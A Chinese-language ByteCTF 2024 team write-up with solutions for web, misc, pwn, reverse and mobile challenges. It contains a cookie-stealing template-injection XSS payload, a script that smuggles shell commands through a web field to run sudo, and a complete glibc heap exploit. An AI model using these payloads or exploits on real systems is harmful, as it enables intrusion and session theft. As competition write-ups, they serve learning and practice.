SUS战队 ByteCTF WriteUp

排名

SUS：第12名

解题思路

Web

ezoldbuddy

\x85绕过进入/shopbytedancesdhjkf

```
POST /shopbytedancesdhjkf/cart/checkout HTTP/1.1
Host: 113.201.14.253:34629
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://113.201.14.253:64123/shopbytedancesdhjkf1
Content-Type: application/json
Content-Length: 50
Origin: http://113.201.14.253:64123
Connection: close
Priority: u=0

{"orderId":1,"cart":[{"id":9,"qty":0,"qty":9999}]}
```

```
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 21 Sep 2024 17:57:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 119
Connection: close

宝贝这是:
9999x FFFFFLLLLLAAAAAGGG J @ $10000/unit

订单详情: $0
flagByteCTF{9b1006e2b2f21c1e56c9647c958fa191}
```

OnlyBypassMe

扫描得到http://7f55489f.clsadp.com/swagger-ui/index.html

注册用户/api/v1/users/register

登录/api/v1/auth/login
查看个人信息/api/v1/users/info

观察得到可疑字段roleId，更改为"1"，发现修改失败，返回500


```
{
  "code": 0,
  "messgae": "string",
  "data": {
    "id": "string",
    "userId": "string",
    "username": "string",
    "password": "string",
    "email": "string",
    "avatar": "string",
    "defaultUUID": "string",
    "roleId": 0,
    "isAdmin": true,
    "lock": 0,
    "authorities": [
      {
        "authority": "string"
      }
    ],
    "enabled": true,
    "credentialsNonExpired": true,
    "accountNonLocked": true,
    "accountNonExpired": true
```


尝试更改为"01"，重新登录发现isAdmin成为true

访问/api/v1/secret/flag/flag得到flag

CrossVue

审计源码，参考template/login.html，发现golang template delimiter与vue template delimiter均为{{}}，在Profile处写入{{any javascript}}可以任意执行js命令。

```
{{fetch("sss"+document.cookie)}}
```

File Edit Selection View Go Projects LSP Client CTags XML Sessions Tools Settings Help

New Open... Save Save As... Undo Redo

login.html

... login.html › el-input

```
                <el-form-item label="Profile" v-if="isSignUp">
                    <el-input v-model="form.profile" type="text"></el-input>
                </el-form-item>
                <el-form-item>
                    <el-button @click="switchToSignUp" v-if="!isSignUp">To Register</el-button>
                    <el-button @click="switchToSignUp" v-else>To Login</el-button>
                    <el-button type="primary" @click="submitForm">{{"{{"}} isSignUp ? 'Register' : 'Login' {{"}}"}}</el-button>
                </el-form-item>
            </el-form>
        </div>
    </div>
</div>

<script>
    new Vue({
        el: '#app',
        data: function() {
            return {
                form: {
                    username: "",
                    password: "",
                    profile: "",
                },
                isSignUp: false,
            };
```

Di... Proj... 90/149:71, Words 447, Chars 4,754 INSERT Soft Tabs: 4 UTF-8 HTML

Misc

Bash Game

```python
import requests


url_update = "http://c13e075e.clsadp.com/"
# url_update = "http://localhost:23333/"

payload = "cd opt;cd ch*;ln -sf flag 1;sudo $(echo Li8K|base64 -d)truegame.sh 1;exit 0;"

url_update = url_update + "update"

payload = payload[::-1]
for i in range(len(payload)):
    print(f"{i}, {payload[i]}", end="\r")
    dd = f"!{payload[i]}/#"
    data = {"name": dd}
    rep = requests.post(url_update, data=data)
data = {"name": "!;/#"}
rep = requests.post(url_update, data=data)


print(rep.text)

```

PWN

ezheap

堆菜单题，但是发现没有free，但是edit可以任意长度写，有溢出，所以考虑house of orange。2.27版本的glibc不太好用unsortedbin attack打io_file，所以考虑调整top chunk的大小，让它在打house of orange的时候直接进tcache bin，然后通过溢出实现任意地址读写。做的时候发现没有办法打realloc_hook和free_hook，而malloc_hook不符合one_gadget的条件，于是思考用两次tcache bin，一次用来读environ，一次用来在栈上写，遂成功。

```python
from pwn import *

context.log_level = "debug"
context(arch="amd64", os="linux")
context.terminal = ['tmux','splitw','-h']

def p(s,m):
    if m == 0:
        io = process(s)
```

```python
    else:
        if ":" in s:
            x = s.split(":")
            addr = x[0]
            port = int(x[1])
            io = remote(addr,port)
        elif " " in s:
            x = s.split(" ")
            addr = x[0]
            port = int(x[1])
            io = remote(addr,port)
        else:
            error(f"{s} may be some error")
    return io

def gg():
    gdb.attach(io)
    raw_input()

def one_gadget(lib,libc_base):
    log.progress('Leak One_Gadgets...')
    one_ggs = str(subprocess.check_output(['one_gadget','--raw',lib]),encoding = "utf-8").split(' ')
    ogg = list(map(int,one_ggs))
    for i in range(len(ogg)):
        ogg[i] += libc_base
    print(list(map(lambda x: hex(x), ogg)))
    return ogg

s   = lambda x  : io.send(x)
sa  = lambda x,y: io.sendafter(x, y)
sla = lambda x,y: io.sendlineafter(x, y)
sl  = lambda x  : io.sendline(x)
rv  = lambda x  : io.recv(x)
ru  = lambda x  : io.recvuntil(x)
rvl = lambda    : io.recvline()
lg  = lambda x,y: log.info(f"\x1b[01;38;5;214m {x} => {hex(y)} \x1b[0m")
ia  = lambda    : io.interactive()
uu32 = lambda x   : u32(x.ljust(4,b'\x00'))
uu64 = lambda x   : u64(x.ljust(8,b'\x00'))
l32  = lambda     : u32(io.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
l64  = lambda     : u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))

io = p("113.201.14.253:48635",1)
# io = p("./pwn",0)
def add(s):
    sla(b"exit:",b"1")
```

```
    sla(b"add:",str(s).encode())

def show(i):
    sla(b"exit:",b"3")
    sla(b"show:",str(i).encode())
    ru(b"Chunk")
    t = l64()
    # t = rvl()
    return t
def show2(i):
    sla(b"exit:",b"3")
    sla(b"show:",str(i).encode())
    ru(b"Chunk")
    t = rvl()
    return t

def edit(i,s,p):
    sla(b"exit:",b"4")
    sla(b"edit:",str(i).encode())
    sla(b"input size",str(s).encode())
    sla(b"input",p)

add(0x28)
edit(0,0x30,b"a"*0x28 + p64(0xd81))
add(0x1000)
add(0xc00)#2
t = show(2) - (0x7fef4af872a0 - 0x7fef4ab9b000)
lg("libc_base",t)
libc_base = t
libc = ELF("./libc-2.27.so")
# io_list_all=libc_base+libc.symbols['_IO_list_all']
# sys_addr=libc_base+libc.symbols['system']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
realloc = libc_base + libc.symbols['realloc']
environ = libc_base + libc.symbols['environ']
add(0xd00)
add(0x248)#4
edit(4,0x250,b"a"*0x248+p64(0x91))
add(0x468)#5
edit(4,0x260,b"a"*0x248+p64(0x91)+p64(environ))
add(0x60)
add(0x60)#7
t = show(7)
stack = t
lg("stack",stack)
add(0xb00)#8
edit(8,0xb10,b"a"*0xb08+p64(0x81))
```

```python
add(0x460)
ret_addr = stack - (0x7ffda4d832b8 - 0x7ffda4d83198)
lg("ret addr",ret_addr)
edit(8,0xb18,b"a"*0xb08+p64(0x81)+p64(ret_addr-8))
add(0x50) # 10
add(0x50)
pop_rdi_ret = libc_base + 0x2155f
pop_rsi_ret = libc_base + 0x23e6a
pop_rdx_ret = libc_base + 0x1b96
sys_addr = libc_base + libc.symbols['execve']
ret = libc_base + 0x8aa
ogg = one_gadget("./libc-2.27.so",libc_base)
payload = p64(ogg[0])
# payload =p64(pop_rdi_ret) + p64(ret_addr + 0x40)  + p64(pop_rsi_ret) +p64(0) + p64(pop_rdx_ret) + p64(0) +  p64(sys_addr) + p64(ret) + b"cat flag\x00" #  + p64(ret_addr + 0x30)  + p64(sys_addr) + p64(0)*3 + b"/bin/sh\x00"  #
edit(11,0x100,payload)

ia()
```

Reverse

babyAPK

blutter恢复部分符号，libapp检查长度是否为45，然后调用babyapk_src_rust_api_simple_::m3N4B5V6_265088

去librust_lib_babyapk搜字符串，定位到sub_3AEE0

uuid格式输入断下，然后就是8个字符一组方程校验

```
LABEL_88:
      sub_7674C(v43, v34, &off_801E0);          // src\api\simple.rs
    }
    v45 = *(inp + rd * 4 + 8);
    v44 = *(inp + rd * 4 + 12);
    v46 = *(inp + rd * 4);
    v47 = *(inp + rd * 4 + 4);
    v48 = *(inp + rd * 4 + 16);
    v49 = *(inp + rd * 4 + 20);
    v50 = *(inp + rd * 4 + 24);
    v51 = *(inp + rd * 4 + 28);
    if ( v51 + v47 * v44 * v49 - (v46 + v50 + v45 * v48) == enc[rd] )
    {
      v52 = v46 * v49;
      if ( v44 - v48 - v46 * v49 + v51 * v47 + v45 + v50 == enc[rd + 1]
        && v52 - (v48 + v51 * v47) + v45 + v50 * v44 == enc[rd + 2] )
      {
        v53 = v48 * v46;
        if ( v47 + v48 * v46 - (v51 + v45) + v50 * v49 * v44 == enc[rd + 3]
          && v49 * v44 + v47 + v45 * v48 - (v50 + v51 * v46) == enc[rd + 4]
          && v52 + v47 * v44 + v45 - (v50 + v48 * v51) == enc[rd + 5]
          && v51 - v47 + v45 * v49 + v50 - v53 * v44 == enc[rd + 6] )
        {
          v43 += 8LL;
          v54 = v44 - v51 - (v47 + v49);
          v55 = &enc[rd];
          rd += 8LL;
          if ( v54 + v53 + v50 * v45 == v55[7] )
            continue;
        }
      }
    }
```

```python
import claripy
enc = [0x1ee59, 0x22a, 0x1415, 0x40714, 0x13e0, 0x8b8, 0xfffdcea0, 0x313b, 0x3d798, 0xfffffe6b, 0xc4e, 0x23884, 0x8d, 0x1db4, 0xfffc1328, 0x1eac, 0x43c64,
       0x142b, 0xfffff622, 0x23941, 0xffffef6d, 0x120c, 0xfffbd30f, 0x1ebe, 0x45158, 0xffffef66, 0x1d3f, 0x4c46b, 0xfffff97a, 0x1bfd, 0xfffba235, 0x1ed2]
for i in range(len(enc)//8):
    inp = [claripy.BVS(f"inp_{j}", 8) for j in range(8)]
    v45 = inp[2]
    v44 = inp[3]
    v46 = inp[0]
    v47 = inp[1]
    v48 = inp[4]
    v49 = inp[5]
    v50 = inp[6]
    v51 = inp[7]
    v52 = v46 * v49
```

```python
    v53 = v48 * v46
    v54 = v44 - v51 - (v47 + v49)
    v41 = i*8
    s = claripy.Solver()
    s.add(v51 + v47 * v44 * v49 - (v46 + v50 + v45 * v48) == enc[v41])
    s.add(v44 - v48 - v46 * v49 + v51 * v47 + v45 + v50 == enc[v41 + 1])
    s.add(v52 - (v48 + v51 * v47) + v45 + v50 * v44 == enc[v41 + 2])
    s.add(v47 + v48 * v46 - (v51 + v45) + v50 * v49 * v44 == enc[v41 + 3])
    s.add(v49 * v44 + v47 + v45 * v48 - (v50 + v51 * v46) == enc[v41 + 4])
    s.add(v52 + v47 * v44 + v45 - (v50 + v48 * v51) == enc[v41 + 5])
    s.add(v51 - v47 + v45 * v49 + v50 - v53 * v44 == enc[v41 + 6])
    s.add(v54 + v53 + v50 * v45 == enc[v41 + 7])
    for j in range(len(inp)):
        s.add(inp[j] >= 0x20)
        s.add(inp[j] <= 0x7f)
    for j in s.batch_eval(inp, 10):
        print("".join(chr(jj) for jj in j), end="")
# ByteCTF{32e750c8-fb21-4562-af22-973fb5176b9c}
```

ByteBuffer

边，点，recovered numbers

猜测是通过边连接点，数字像电子表那种

观察边周围的数据，77和75是连接的两个点的序号，9是Edge字符串的长度

```
0390h: 50 1B 00 00 68 1B 00 00 80 1B 00 00 98 1B 00 00  P...h...€...˜...
03A0h: B0 1B 00 00 C8 1B 00 00 E8 1B 00 00 A8 F1 FF FF  °...È...è...¨ñÿÿ
03B0h: 00 00 00 01 77 00 00 00 75 00 00 00 04 00 00 00  ....w...u.......
03C0h: 09 00 00 00 45 64 67 65 20 23 31 30 33 00 00 00  ....Edge #103...
03D0h: CC F1 FF FF 00 00 00 01 77 00 00 00 76 00 00 00  Ìñÿÿ....w...v...
03E0h: 04 00 00 00 09 00 00 00 45 64 67 65 20 23 31 30  ........Edge #10
```

同理观察点周围的数据，0627是x坐标，7D是y坐标，8是Dot字符串的长度

```
1230h: A8 F2 FF FF 40 06 00 00 4B 00 00 00 04 00 00 00  ¨òÿÿ@...K.......
1240h: 08 00 00 00 44 6F 74 20 23 31 32 30 00 00 00 00  ....Dot #120....
1250h: C8 F2 FF FF 27 06 00 00 7D 00 00 00 04 00 00 00  Èòÿÿ'...}.......
1260h: 08 00 00 00 44 6F 74 20 23 31 31 39 00 00 00 00  ....Dot #119....
1270h: E8 F2 FF FF F5 05 00 00 7D 00 00 00 04 00 00 00  èòÿÿõ...}.......
1280h: 08 00 00 00 44 6F 74 20 23 31 31 38 00 00 00 00  ....Dot #118....
```

画图即可，边的from和to顺序无所谓，但是点是从后向前保存的，索引的时候需要减一下

```python
import matplotlib.pyplot as plt
import struct
with open("ByteBuffer", "rb") as f:
```

```python
    data = f.read()
# 找边
edges = []
start = 0x03a0
end = 0x1200
while start <= end:
    if data[start:start+6] == b"Edge #":
        strlen = struct.unpack("<I", data[start-4:start])[0]
        strcomp = data[start:start+strlen]
        dotfrom = struct.unpack("<I", data[start-16:start-16+4])[0]
        dotto = struct.unpack("<I", data[start-12:start-12+4])[0]
        edges.append((strcomp, dotfrom, dotto))
    start += 1
# 找点
dots = []
start = 0x1230
end = 0x1fb0
while start <= end:
    if data[start:start+5] == b"Dot #":
        strlen = struct.unpack("<I", data[start-4:start])[0]
        strcomp = data[start:start+strlen]
        dotx = struct.unpack("<I", data[start-16:start-16+4])[0]
        doty = struct.unpack("<I", data[start-12:start-12+4])[0]
        dots.append((strcomp, dotx, doty))
    start += 1
# 画图
for dot in dots:
    plt.scatter(dot[1], dot[2])
for edge in edges:
    dotfrom = 120-edge[1]
    dotto = 120-edge[2]
    x_values = [dots[dotfrom][1], dots[dotto][1]]
    y_values = [dots[dotfrom][2], dots[dotto][2]]
    plt.plot(x_values, y_values, 'k-')
plt.gca().invert_yaxis()
plt.show()
# ByteCTF{327542185069290715865}
```

Mobile

极限逃脱

ipa附件，解压出ByteCTFDemo文件，ida打开，通过字符串定位到secondButtonClicked

正则匹配uuid格式，抹除ByteCTF{-}，构成字符串列表inp_split

```
v4 = objc_msgSend_inputText(self, a2, a3);
v5 = objc_retainAutoreleasedReturnValue(v4);
v7 = objc_msgSend_text(v5, v6);
v8 = objc_retainAutoreleasedReturnValue(v7);
objc_release(v5);
v139 = 0LL;
v10 = objc_msgSend_regularExpressionWithPattern_options_error_(
        &OBJC_CLASS___NSRegularExpression,
        v9,
        CFSTR("^ByteCTF\\{([0-9a-z]){8}-([0-9a-z]){4}-([0-9a-z]){4}-([0-9a-z]){4}-([0-9a-z]){12}\\}$"),
        1LL,
        &v139);
v11 = objc_retainAutoreleasedReturnValue(v10);
if ( objc_msgSend_length(v8, v12) )
{
  v14 = objc_msgSend_length(v8, v13);
  MatchInString_options_range = objc_msgSend_firstMatchInString_options_range_(v11, v15, v8, 1LL, 0LL, v14);
  v17 = objc_retainAutoreleasedReturnValue(MatchInString_options_range);
  objc_release(v17);
  if ( v17 )
  {
    v19 = str_replace(v8, v18, CFSTR("ByteCTF"), &str_empty);
    v20 = objc_retainAutoreleasedReturnValue(v19);
    objc_release(v8);
    v22 = str_replace(v20, v21, CFSTR("{"), &str_empty);
    v23 = objc_retainAutoreleasedReturnValue(v22);
    objc_release(v20);
    v25 = str_replace(v23, v24, CFSTR("}"), &str_empty);
    v8 = objc_retainAutoreleasedReturnValue(v25);
    objc_release(v23);
    v27 = objc_msgSend_componentsSeparatedByString_(v8, v26, CFSTR("-"));
    inp_split = objc_retainAutoreleasedReturnValue(v27);
    if ( (unsigned __int64)objc_msgSend_count(inp_split, v29) > 4 )
```

获取5段已知的字符串，拼接，注意拼接时str_5用了两次，没用str_1

拼接完做sha256得到hex digest

```
if ( (unsigned __int64)objc_msgSend_count(inp_split, v29) > 4 )
{
  v31 = objc_msgSend_first(self, v30);
  str_1 = objc_retainAutoreleasedReturnValue(v31);
  v33 = objc_msgSend_second(self, v32);
  str_2 = objc_retainAutoreleasedReturnValue(v33);
  v36 = objc_msgSend_third(self, v35);
  str_3 = objc_retainAutoreleasedReturnValue(v36);
  v39 = objc_msgSend_fourth(self, v38);
  str_4 = objc_retainAutoreleasedReturnValue(v39);
  v42 = objc_msgSend_fifth(self, v41);
  str_4_ = str_4;
  str_3_ = str_3;
  str_5 = objc_retainAutoreleasedReturnValue(v42);
  str_2_ = str_2;
  str_cplt = objc_msgSend_stringWithFormat_(
               &OBJC_CLASS___NSString,
               v43,
               CFSTR("{%@-%@-%@-%@-%@}"),
               str_5,
               str_2,
               str_3,
               str_4,
               str_5);
  v45 = objc_retainAutoreleasedReturnValue(str_cplt);
  v131 = objc_retainAutorelease(v45);
  str_cplt_ = (const char *)objc_msgSend_UTF8String(v131, v46);
  str_cplt_len = strlen(str_cplt_);
  CC_SHA256(str_cplt_, str_cplt_len, (unsigned __int8 *)md);
  v50 = objc_msgSend_string(&OBJC_CLASS___NSMutableString, v49);
  str_cplt_sha256_hex = objc_retainAutoreleasedReturnValue(v50);
  for ( i = 0LL; i != 32; ++i )
    objc_msgSend_appendFormat_(str_cplt_sha256_hex, v51, CFSTR("%02x"), (unsigned __int8)md[i]);
```

从hex digest中每次取出一段，索引由上一段决定，长度由当前段决定，做替换

```
v54 = objc_msgSend_length(str_1, v51);
v56 = objc_msgSend_substringWithRange_(str_cplt_sha256_hex, v55, 1LL, v54);
v57 = objc_retainAutoreleasedReturnValue(v56);
v59 = str_replace(v57, v58, CFSTR("a"), CFSTR("b"));
v60 = objc_retainAutoreleasedReturnValue(v59);
objc_release(v57);
v62 = (char *)objc_msgSend_length(str_1, v61) + 1;
v64 = objc_msgSend_length(str_2_, v63);
v66 = objc_msgSend_substringWithRange_(str_cplt_sha256_hex, v65, v62, v64);
v67 = objc_retainAutoreleasedReturnValue(v66);
v69 = str_replace(v67, v68, CFSTR("b"), CFSTR("c"));
v129 = objc_retainAutoreleasedReturnValue(v69);
objc_release(v67);
v71 = (char *)objc_msgSend_length(str_2_, v70) + 1;
v73 = objc_msgSend_length(str_3, v72);
v75 = objc_msgSend_substringWithRange_(str_cplt_sha256_hex, v74, v71, v73);
v76 = objc_retainAutoreleasedReturnValue(v75);
v78 = str_replace(v76, v77, CFSTR("c"), CFSTR("d"));
v134 = objc_retainAutoreleasedReturnValue(v78);
objc_release(v76);
v80 = (char *)objc_msgSend_length(str_3, v79) + 1;
v82 = objc_msgSend_length(str_4_, v81);
v84 = objc_msgSend_substringWithRange_(str_cplt_sha256_hex, v83, v80, v82);
v85 = objc_retainAutoreleasedReturnValue(v84);
v87 = str_replace(v85, v86, CFSTR("d"), CFSTR("e"));
v133 = objc_retainAutoreleasedReturnValue(v87);
objc_release(v85);
v89 = (char *)objc_msgSend_length(str_4_, v88) + 1;
v91 = objc_msgSend_length(str_5, v90);
v93 = objc_msgSend_substringWithRange_(str_cplt_sha256_hex, v92, v89, v91);
v94 = objc_retainAutoreleasedReturnValue(v93);
v96 = str_replace(v94, v95, CFSTR("e"), CFSTR("f"));
v97 = objc_retainAutoreleasedReturnValue(v96);
objc_release(v94);
v99 = objc_msgSend_objectAtIndexedSubscript_(inp_split, v98, 0LL);
```

最后就是和输入的inp_split依次比较

```
objc_release(v94);
v99 = objc_msgSend_objectAtIndexedSubscript_(inp_split, v98, 0LL);
v100 = objc_retainAutoreleasedReturnValue(v99);
v130 = v60;
v102 = (unsigned __int8)objc_msgSend_isEqualToString_(v100, v101, v60);
objc_release(v100);
if ( (v102 & 1) != 0 )
{
  v104 = objc_msgSend_objectAtIndexedSubscript_(inp_split, v103, 1LL);
  v105 = objc_retainAutoreleasedReturnValue(v104);
  v106 = v129;
  v108 = (unsigned __int8)objc_msgSend_isEqualToString_(v105, v107, v129);
  objc_release(v105);
  if ( (v108 & 1) == 0 )
    goto LABEL_17;
  v110 = objc_msgSend_objectAtIndexedSubscript_(inp_split, v109, 2LL);
  v111 = objc_retainAutoreleasedReturnValue(v110);
  v113 = (unsigned __int8)objc_msgSend_isEqualToString_(v111, v112, v134);
  objc_release(v111);
  if ( (v113 & 1) == 0 )
    goto LABEL_17;
  v114 = objc_msgSend_objectAtIndexedSubscript_(inp_split, v109, 3LL);
  v115 = objc_retainAutoreleasedReturnValue(v114);
  v117 = (unsigned __int8)objc_msgSend_isEqualToString_(v115, v116, v133);
  objc_release(v115);
  if ( (v117 & 1) == 0 )
    goto LABEL_17;
  v118 = objc_msgSend_objectAtIndexedSubscript_(inp_split, v109, 4LL);
  v119 = objc_retainAutoreleasedReturnValue(v118);
  v121 = (unsigned __int8)objc_msgSend_isEqualToString_(v119, v120, v97);
  objc_release(v119);
  if ( (v121 & 1) != 0 )
```

正向写出流程，加上-即为flag

```python
from hashlib import sha256
s = b"{a67be199da4b-b092-bd3e-e777-a67be199da4b}"
s_ = sha256(s).hexdigest()
lens = [8, 4, 4, 4, 12]
rep = [["a", "b"], ["b", "c"], ["c", "d"], ["d", "e"], ["e", "f"]]
idx = 1
flag = "ByteCTF{"
for i in range(len(lens)):
    sub = s_[idx:idx+lens[i]]
    sub = sub.replace(rep[i][0], rep[i][1])
    flag += sub+"-"
    idx = lens[i]+1
print(flag+"}")
# ByteCTF{c9838b3c-6810-8a3d-8a3c-8a3c6810bdb2}
```

调查问卷

提交成功

ByteCTF{bytectf2024}